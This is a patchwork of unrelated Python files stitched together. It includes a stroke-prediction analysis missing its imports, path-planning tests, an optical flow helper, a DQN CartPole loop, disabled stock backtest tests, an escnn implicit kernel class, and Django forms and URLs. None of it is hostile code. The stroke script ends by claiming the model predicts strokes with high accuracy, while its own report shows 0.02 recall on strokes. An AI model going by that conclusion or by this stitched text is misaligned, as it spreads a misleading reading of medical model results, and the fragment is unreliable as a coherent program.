from sklearn.metrics import  accuracy_score,classification_report
from sklearn.preprocessing import LabelEncoder

df = pd.read_csv("healthcare-dataset-stroke-data.csv")

#let's get some information about the data
pd.set_option('display.max_columns', None)
# print (df.describe());
# print (df.info)
# print (df.dtypes)

#clean the data
df.dropna(inplace = True)
# print (df.isnull().sum())

# I want to check the outliers
selected_cols = ['bmi','avg_glucose_level','age']
colors = ['tab:red','tab:green','tab:pink','tab:blue']
pyplt.figure(figsize=(12,6))
for i, col in enumerate(selected_cols, 1):
    pyplt.subplot(1, 3, i)
    pyplt.boxplot(df[col],vert=True,patch_artist=True)
    pyplt.title(f'Box plot of {col}')
    pyplt.ylabel('Values')

pyplt.show();
#refer to  PATH = ("figure_1_3.png") for the plot.

#now it's obvious that we need to get rid of outliers. Now the shape of the data
#before removing the outliers is as folows
pyplt.figure(figsize=(16,6))
for i, col in enumerate(selected_cols,1):
    pyplt.subplot(1,3,i)
    pyplt.hist(df[col], bins=100, color = colors[i])
    pyplt.ylabel('Value')
    pyplt.title(f'Distribution of {col} before removing the outliers')
pyplt.tight_layout()
pyplt.show();

#refer to  PATH = ("figure_2_3.png") for the plot.

#removing the outliers using the z method
df_no_outliers = df.copy();
for col in selected_cols:
   z_score = np.abs(stats.zscore(df[col]))
   df_no_outliers[col] = np.where(z_score < 3, df_no_outliers[col] , np.nan)

#now it's obvious that we need to get rid of outliers. Now the shape of the data
#before removing the outliers is as folows
pyplt.figure(figsize=(16,6))
for i, col in enumerate(selected_cols,1):
    pyplt.subplot(1,3,i)
    pyplt.hist(df_no_outliers[col], bins=100, color = colors[i])
    pyplt.ylabel('Value')
    pyplt.title(f'Distribution of {col} after removing the outliers')
pyplt.tight_layout();
pyplt.show();

#refer to  PATH = ("figure_3_3.png") for the plot.
#
#
#
#some visualizaitons here under to better understand the data

fig, axes = pyplt.subplots(nrows=2, ncols=4, figsize=(15, 10))
axes = axes.flatten()
#pie chart to show the female to make ratio

female_count = df[ df['gender'] == 'Female'].shape[0]
male_count = df[df['gender'] == 'Male'].shape[0]
total_count = female_count + male_count
labels = ['Female','Male']
size = [(female_count/total_count), (male_count/total_count)]
colours = ['pink','lightgreen']
axes[0].pie (size,labels=labels,autopct='%1.1f%%',colors = colours,startangle=145)
axes[0].set_title('Gender of patients')

total = df['work_type'].value_counts()
size = total.values
labels = total.index
colors = ['lightcoral', 'lightblue', 'lightskyblue', 'lightgreen', 'pink']
axes[1].pie(size, labels=labels, colors=colors, autopct='%1.1f%%',  startangle=145)
axes[1].set_title('Work Type of Patients')

smoking_status = df['smoking_status'].value_counts()
labels = smoking_status.index
sizes = smoking_status.values
colors = ['lightcoral', 'lightblue','lightgreen']
axes[2].pie(sizes, labels=labels, colors=colors, autopct='%1.1f%%', startangle=145)
axes[2].set_title('Smoking Status of Patients')

total = df['heart_disease'].value_counts()
size = total.values
labels = ['No','Yes']
colors = ['lightcoral', 'lightblue']
axes[3].pie(size, labels=labels, colors=colors, autopct='%1.1f%%',  startangle=145)
axes[3].set_title('Heart disease history')

total = df['work_type'].value_counts()
size = total.values
labels = total.index
colors = ['lightcoral', 'lightblue', 'lightskyblue', 'lightgreen', 'pink']
axes[4].pie(size, labels=labels, colors=colors, autopct='%1.1f%%',  startangle=145)
axes[4].set_title('Work Type of Patients')

bmi_categories = ['Underweight', 'Normal Weight', 'Overweight', 'Obese']
bmi_thresholds = [18.5, 24.9, 29.9]
df['bmi_category'] = pd.cut(df['bmi'], bins=[0] + bmi_thresholds + [float('inf')], labels=bmi_categories)
total = df['bmi_category'].value_counts()
size = total.values
labels = total.index
colors = ['lightcoral', 'lightskyblue', 'lightgreen', 'pink']
axes[5].pie(size, labels=labels, colors=colors, autopct='%1.1f%%',  startangle=145)
axes[5].set_title('BMI categories')

married_counts = df['ever_married'].value_counts()
labels = married_counts.index
sizes = married_counts.values
colors = ['lightcoral', 'lightblue']
axes[6].pie(sizes, labels=labels, colors=colors, autopct='%1.1f%%', startangle=145)
axes[6].set_title('Marritual Status of Patients')

fig.delaxes(axes[7])
fig.suptitle('Stroke Data Visualizations', fontsize=10)
pyplt.tight_layout();
pyplt.show()

#refer to  PATH = ("figure_4_3.png") for the plot.

# here starts the machine learning part of this project !!
#let the fun start
print (df.columns)
label_encoder = LabelEncoder()
categorical_cols = ['gender', 'ever_married', 'work_type', 'Residence_type', 'smoking_status']
for col in categorical_cols:
    df[col] = label_encoder.fit_transform(df[col])

X = df.drop(['stroke','bmi_category'], axis=1)
y =df['stroke']

train_X,val_X,train_y,val_y = train_test_split(X,y,random_state=42)

model = LogisticRegression(random_state= 42)
model.fit(train_X,train_y)
y_prediction = model.predict(val_X)

accuracy = accuracy_score(val_y, y_prediction)
print("Accuracy of prediction with the logistic regression model is :", accuracy)
class_report = classification_report(val_y, y_prediction)
print("Classification Report:")
print (class_report)

#
#result:
#Accuracy of prediction with the logistic regression model is : 0.9495114006514658
#
# Classification Report:
#               precision    recall  f1-score   support

#            0       0.95      1.00      0.97      1165
#            1       1.00      0.02      0.03        63

#     accuracy                           0.95      1228
#    macro avg       0.97      0.51      0.50      1228
# weighted avg       0.95      0.95      0.93      1228
#
#
#
#
# you can see that the model is predicting the strokes on the patients based the on the
#given data with a high accuracy.


import conftest  # Add root path to sys.path
import os
import matplotlib.pyplot as plt
from PathPlanning.SpiralSpanningTreeCPP \
    import spiral_spanning_tree_coverage_path_planner

spiral_spanning_tree_coverage_path_planner.do_animation = True

def spiral_stc_cpp(img, start):
    num_free = 0
    for i in range(img.shape[0]):
        for j in range(img.shape[1]):
            num_free += img[i][j]

    STC_planner = spiral_spanning_tree_coverage_path_planner.\
        SpiralSpanningTreeCoveragePlanner(img)

    edge, route, path = STC_planner.plan(start)

    covered_nodes = set()
    for p, q in edge:
        covered_nodes.add(p)
        covered_nodes.add(q)

    # assert complete coverage
    assert len(covered_nodes) == num_free / 4

def test_spiral_stc_cpp_1():
    img_dir = os.path.dirname(
        os.path.abspath(__file__)) + \
        "/../PathPlanning/SpiralSpanningTreeCPP"
    img = plt.imread(os.path.join(img_dir, 'map', 'test.png'))
    start = (0, 0)
    spiral_stc_cpp(img, start)

def test_spiral_stc_cpp_2():
    img_dir = os.path.dirname(
        os.path.abspath(__file__)) + \
        "/../PathPlanning/SpiralSpanningTreeCPP"
    img = plt.imread(os.path.join(img_dir, 'map', 'test_2.png'))
    start = (10, 0)
    spiral_stc_cpp(img, start)

def test_spiral_stc_cpp_3():
    img_dir = os.path.dirname(
        os.path.abspath(__file__)) + \
        "/../PathPlanning/SpiralSpanningTreeCPP"
    img = plt.imread(os.path.join(img_dir, 'map', 'test_3.png'))
    start = (0, 0)
    spiral_stc_cpp(img, start)

if __name__ == '__main__':
    conftest.run_this_test(__file__)


import cv2 as cv
import numpy as np
# method for optical flow extraction between two consequtive frames
def extract_the_optical_flow(frame_1, frame_2):
    # convert the images to gray scale
    prvs = cv.cvtColor(frame_1, cv.COLOR_BGR2GRAY)
    next = cv.cvtColor(frame_2, cv.COLOR_BGR2GRAY)

    # extracting the dense optical flow
    flow = cv.calcOpticalFlowFarneback(prvs, next, None, 0.5, 3, 15, 3, 5, 1.2, 0)

    # splitting to the x and y axis optical flow images
    gray_x = np.array(flow[..., 0])
    gray_x_to_write = cv.convertScaleAbs(gray_x, alpha=255.0)
    gray_y = np.array(flow[..., 1])
    gray_y_to_write = cv.convertScaleAbs(gray_y, alpha=255.0)
    return gray_x_to_write, gray_y_to_write


from doubledqn import Agent
import gym
import numpy as np

env = gym.make('CartPole-v1')

agent = Agent(state_dims=4,n_actions=2)

scores = []
for i in range(5_000):
    done = False
    score = 0
    state = env.reset()
    while not done:
        action = agent.get_action(state)
        new_state, reward, done, _ = env.step(action)
        score += reward
        agent.store(state,action,reward,new_state,done)
        state = new_state
        agent.train(i)

    scores.append(score)
    avg_score = np.mean(scores[max(0, i - 100):(i+1)])
    print(f'episode {i} score %.2f {score} avg_score %.2f {avg_score} epsilon {agent.epsilon}')


# -*- coding: utf-8; py-indent-offset:4 -*-

import datetime as dt
from hiquant import *

def XXXtest_backtrade():
    # test back trade
    date_start = date_from_str('1 months ago')
    date_end = date_from_str('yesterday')
    market = Market(date_start, date_end)

    df = get_stockpool_df(['600036', '000002'])
    df.to_csv('output/mytest.csv', index= False)

    trader = Trader(market)
    fund = Fund(market, trader, 'fund_1', {
        'name': 'fund no.1',
        'start_cash': '1000000.00',
        'strategy': 'strategy/001_macd.py',
        'stock_pool': 'output/mytest.csv',
    })
    trader.add_fund(fund)
    market.set_verbose()
    trader.set_verbose()
    trader.run_fund(date_start, date_end)
    trader.print_report()
    trader.plot(compare_index= 'sh000300', out_file='output/test_trader.png')

def XXXtest_run():
    date_start = date_from_str('today')
    date_end = date_from_str('tomorrow')
    market = Market(date_start, date_end)
    market.set_force_open(True)

    trader = Trader(market)
    fund = Fund(market, trader, 'fund_1', {
        'name': 'fund no.1',
        'start_cash': '1000000.00',
        'strategy': 'strategy/001_macd.py',
        'stock_pool': 'output/mytest.csv',
    })
    trader.add_fund(fund)
    market.set_verbose()
    trader.set_verbose()
    trader.run_fund(date_start, date_start + dt.timedelta(seconds=10))
    #trader.print_report()
    #trader.plot(compare_index= 'sh000300', out_file='output/trader_run.png')


import numpy as np
import torch

from escnn import nn, gspaces, group

from .mlp import SONMLPTensor

class ImplicitKernelSON(torch.nn.Module):
    """
    Steerable kernel:
        3D coordinates -> harmonic polynomicals -> + edge attributes -> implicit kernel.
    """
    def __init__(
        self,
        in_repr: nn.FieldType,
        out_repr: nn.FieldType,
        edge_repr: nn.FieldType,
        hp_order: int = None,
        edge_distr: list = [None, None],
        **mlp_kwargs):
        """
        Args:
            in_repr (nn.FieldType): representation of the convolution input.
            out_repr (nn.FieldType): representation of the convolution output.
            edge_repr (nn.FieldType): representation of the edge attributes.
            hp_order (int): order of harmonic polynomials.
            mlp_kwargs (dict): keyword arguments for the MLP.
        """
        super().__init__()
        if hp_order is None:
            # if the order of HPs is not given, we take the maximum frequency of the input representation
            ik_irreps = out_repr.representations[0].tensor(in_repr.representations[0]).irreps # ψ1 ⊗ ψ2
            hp_order = max(ik_irreps, key=lambda x: x[1])
        self.edge_distr = edge_distr
        self.G = group.o3_group()
        self.gspace = gspaces.no_base_space(self.G)
        # input: 3D coordinates + additional edge attributes
        self.pos_type = self.gspace.type(self.G.standard_representation())
        self.edge_repr = edge_repr
        self.hp = nn.HarmonicPolynomialR3(hp_order, 'o3')
        # restrict output of HPs to a subgroup defined by the input representation
        self.subgroup_id = in_repr.gspace._sg_id[:-1]
        # harmonic polynomial output + edge attributes
        mlp_in_repr = [i for i in self.hp.out_type.representations] + edge_repr
        # we restrict the representation of input type and add attribute representations if needed
        mlp_in_type = self.gspace.type(*mlp_in_repr).restrict(self.subgroup_id)
        # batch normalization for input coordinates
        self.bn_coords = nn.IIDBatchNorm1d(self.pos_type)
        # irrep-wise batch normalization for HPs output
        decomposed_type = self.gspace.type(*[self.hp.out_type.fibergroup.irrep(*id) for id in self.hp.out_type.irreps])
        self.bn_hp = nn.IIDBatchNorm1d(decomposed_type)
        # function that applies batch normalization to each irrep independently
        self.scale_hp = lambda x: self.hp.out_type(self.bn_hp(decomposed_type(x.tensor)).tensor)
        self.mlp = SONMLPTensor(in_type=mlp_in_type,
                                in_repr=in_repr,
                                out_repr=out_repr,
                                initialize=True,
                                **mlp_kwargs)
        self.c_in, self.c_out  = len(in_repr), len(out_repr)
        self.delta_in, self.delta_out = int(in_repr.size / len(in_repr)), int(out_repr.size / len(out_repr))
        # learn scale of the kernel
        self.inv_scale = torch.nn.Parameter(torch.tensor(1.0))
        # kernel's output initial standard deviation (for generalized He initialization)
        kstd = 1 / self.kernel_std(1000)
        self.register_buffer("inv_std", kstd)
        # scale parameter
        self.init_factor = 2 / np.sqrt(self.c_in * self.c_out)

    def forward(self, coords: torch.Tensor, edge_attr: torch.Tensor, init: bool = True):
        """
        Forward pass of the kernel:
            Input -> Scale coords -> HPs -> MLP -> He init -> filter.
        Args:
            coords (torch.Tensor): 3D coordinates of the input points.
            edge_attr (torch.Tensor): edge attributes.
            init (bool): whether to re-scale the filter (corresponds to He initialization).
        """
        x = self.transform_coords(coords)
        if edge_attr is not None:
            x = nn.GeometricTensor(torch.cat([x.tensor, edge_attr], 1), self.mlp.in_type)
        else:
            x = nn.GeometricTensor(x.tensor, self.mlp.in_type)
        # compute c_in * delta_in * c_out * delta_out filter based on input features
        x = self.mlp(x)
        x = self.transform_mlp(x, coords, init)
        # reshape the vector to d_out x d_in filter at last
        return x.reshape((-1, self.c_out * self.delta_out, self.c_in * self.delta_in))

    def transform_coords(self, coords: torch.Tensor):
        """
        Transform coordinates of the input points:
            BatchNorm -> Harmonic polynomials -> scaling.
        """
        coords = nn.GeometricTensor(coords, self.pos_type)
        coords = self.bn_coords(coords) # normalize input coordinates
        x = self.compute_hp(coords)
        x = self.scale_hp(x)
        return x

    def transform_mlp(self, x: nn.GeometricTensor, coords: torch.Tensor, init: bool):
        """
        Transform the output of MLP:
            Scale MLP's output -> reshape the output to c_out x delta_out x c_in x delta_in filter -> He init.
        Args:
            x (nn.GeometricTensor): output of the MLP.
            coords (torch.Tensor): 3D coordinates of the input points.
            init (bool): whether to re-scale the filter (corresponds to He initialization).
        """
        # multiply with exp radial function
        x = x.tensor
        x = self.scale_mlp(x, coords)
        x = x.view((-1, self.c_out, self.c_in, self.delta_out, self.delta_in))
        # normalize the filter to yield He weight initialization
        x = self.he_initialize(x) if init else x
        return x.permute((0, 1, 3, 2, 4))

    def scale_mlp(self, x, coords):
        """
        Scale MLP's output according to the coordinates of the input point.
        Similar to radial function of SO(3) steerable kernels: https://arxiv.org/abs/1807.02547.
        """
        squared_norms = torch.sum(coords**2, dim=1, keepdim=True)
        # Compute the exponential factor of the operation
        exponential_factor = torch.exp(-0.5 * squared_norms * self.inv_scale**2)
        # Apply the element-wise multiplication of `x` and the exponential factor
        return x * exponential_factor

    def compute_hp(self, x: nn.GeometricTensor):
        """
        Compute scaled harmonic polynomials that are restricted to the subgroup of the input representation.
        """
        return self.hp(x).restrict(self.subgroup_id)

    def he_initialize(self, x: torch.Tensor):
        """
        Generalized He weight initialization of filters calculated by the implicit kernel.
        The initialization condition is taken from https://arxiv.org/pdf/1711.07289.pdf (see Appendix B).
        For the forward pass: Var[w] = 2 / (C * Q) where
            C is the number of input channels,
            Q is the number of basis functions,
            filters are normalized to unit norm.
        """
        return x * self.inv_std * self.init_factor

    def sample_kernel(self, n_points: int):
        """
        Sample points in space randomly and compute the value of kernel at each point.
        Draws samples from a normal distribution with mean 0 and variance 1.
        """
        device = next(self.parameters()).device
        with torch.no_grad():
            # randomly generated coordinates in 3D
            if self.edge_distr[0] is None:
                coords = torch.randn(n_points, 3).to(device)
            else:
                coords = self.edge_distr[0].sample([n_points]).to(device)

            if self.edge_distr[1] is None:
                edge_attr = torch.randn(n_points, sum(reps.size for reps in self.edge_repr)).to(device)
            else:
                edge_attr = self.edge_distr[1].sample([n_points]).to(device)

            return self(coords, edge_attr, init=False)

    def kernel_std(self, n_points: int):
        """
        Computes channel-wise variance for the implicit kernel;
        asserts that there are no zero variance channels.
        """
        x = self.sample_kernel(n_points)
        x = x.reshape((-1, self.c_out, self.delta_out, self.c_in, self.delta_in))
        return x.std(dim=(0,2,4)).reshape(1, self.c_out, self.c_in, 1, 1)


from django import forms
from django.contrib.admin.widgets import AdminDateWidget    #インポート
from .models import Tasks,Projects

class AddTaskForm(forms.ModelForm):
    """タスク追加フォーム"""
    class Meta:
        model = Tasks
        fields = ('project','taskName','status','createdDate','deadline','priority',)

        widgets = {
            'createdDate': AdminDateWidget(),    #インポートしたウィジェットを使う指示
            'deadline': AdminDateWidget(),
        }

class AddProjectForm(forms.ModelForm):
    """タスク追加フォーム"""
    class Meta:
        model = Projects
        fields = ('Name','color',)

        widgets = {

        }


from django.urls import path
from . import views as blog_views
app_name = 'blog'
urlpatterns = [
    path('', blog_views.IndexView.as_view(), name='index'),
    path(
        'p/<int:article_id>',
        blog_views.ArticleDetailView.as_view(),
        name='detail'),
]